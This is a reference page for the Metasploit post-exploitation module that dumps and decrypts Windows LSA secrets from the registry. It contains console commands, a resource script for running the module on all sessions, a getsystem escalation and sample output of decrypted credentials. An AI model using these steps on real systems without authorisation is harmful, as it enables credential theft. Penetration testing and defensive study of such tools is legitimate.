Windows Enumerate LSA Secrets - Metasploit


This page contains detailed information about how to use the post/windows/gather/lsa_secrets metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Enumerate LSA Secrets
Module: post/windows/gather/lsa_secrets
Source code: modules/post/windows/gather/lsa_secrets.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: HKEY_LOCAL_MACHINE\Security\Policy\Secrets. Thanks goes to Maurizio Agazzini and Mubix for decrypt code from cachedump.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/lsa_secrets

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/lsa_secrets
msf post(lsa_secrets) > show options
    ... show and set options ...
msf post(lsa_secrets) > set SESSION session-id
msf post(lsa_secrets) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/lsa_secrets")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\.

Verification Steps


  1. Start msfconsole
  2. Get a shell on a Windows computer, with SYSTEM privs.
  3. Do: use post/windows/gather/lsa_secrets
  4. Do: set session #
  5. Do: run
  6. You should get LSA Secrets.

Options


STORE

If the decrypted values should be stored in the database. This is a tradeoff since there is no way to tell if a decrypted value is a legitamate password, thus you may fill your database with bad values. Default is true.

Scenarios


Windows 10

The DefaultPassword in this case is legitimate.

msf6 post(windows/gather/lsa_secrets) > run

[*] Executing module against MSEDGEWIN10
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[-] Could not retrieve LSA key. Are you SYSTEM?
[*] Post module execution completed
msf6 post(windows/gather/lsa_secrets) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > background
[*] Backgrounding session 5...
msf6 post(windows/gather/lsa_secrets) > run

[*] Executing module against MSEDGEWIN10
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[+] Key: CachedDefaultPassword
 Decrypted Value: f+;=

[+] Key: DefaultPassword
 Decrypted Value: Passw0rd!

[+] Key: DPAPI_SYSTEM
 Decrypted Value: ,l^sx+S?Heo75jnC

[+] Key: NL$KM
 Decrypted Value: @r&qS(o)~fuyOvW+6l5aaX8k<1d_E/d

[*] Writing to loot...
[*] Data saved in: /home/h00die/.msf4/loot/20201011171021_default_192.168.2.92_registry.lsa.sec_067749.txt
[*] Post module execution completed
msf6 post(windows/gather/lsa_secrets) > creds
Credentials
===========

host  origin        service  public  private                          realm  private_type  JtR Format
----  ------        -------  ------  -------                          -----  ------------  ----------
      111.111.1.11                   f+;=                                    Password      
      111.111.1.11                   Passw0rd!                               Password      
      111.111.1.11                   ,l^sx+S?Heo75jnC                        Password      
      111.111.1.11                   @r&qS(o)~fuyOvW+6l5aaX8k<1d_E/d         Password  

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/lsa_secrets post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/lsa_secrets

msf6 post(windows/gather/lsa_secrets) > show info

       Name: Windows Enumerate LSA Secrets
     Module: post/windows/gather/lsa_secrets
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Rob Bathurst <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
  STORE    true             yes       Store decrypted credentials in database

Description:
  This module will attempt to enumerate the LSA Secrets keys within 
  the registry. The registry value used is: 
  HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio 
  Agazzini and Mubix for decrypt code from cachedump.

Module Options


This is a complete list of options available in the windows/gather/lsa_secrets post exploitation module:

msf6 post(windows/gather/lsa_secrets) > show options

Module options (post/windows/gather/lsa_secrets):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   STORE    true             yes       Store decrypted credentials in database

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/lsa_secrets post exploitation module:

msf6 post(windows/gather/lsa_secrets) > show advanced

Module advanced options (post/windows/gather/lsa_secrets):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/lsa_secrets module can do:

msf6 post(windows/gather/lsa_secrets) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/lsa_secrets post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/lsa_secrets) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not retrieve LSA key. Are you SYSTEM?


Here is a relevant code snippet related to the "Could not retrieve LSA key. Are you SYSTEM?" error message:

133:	    vprint_status("Boot key: #{bootkey.unpack1('H*')}")
134:	
135:	    print_status('Obtaining Lsa key...')
136:	    lsa_key = capture_lsa_key(bootkey)
137:	    if lsa_key.nil?
138:	      print_error('Could not retrieve LSA key. Are you SYSTEM?')
139:	      return
140:	    end
141:	    vprint_status("Lsa Key: #{lsa_key.unpack1('H*')}")
142:	
143:	    secrets = hostname + get_secret(lsa_key)

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Rob Bathurst <rob.bathurst[at]foundstone.com>

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.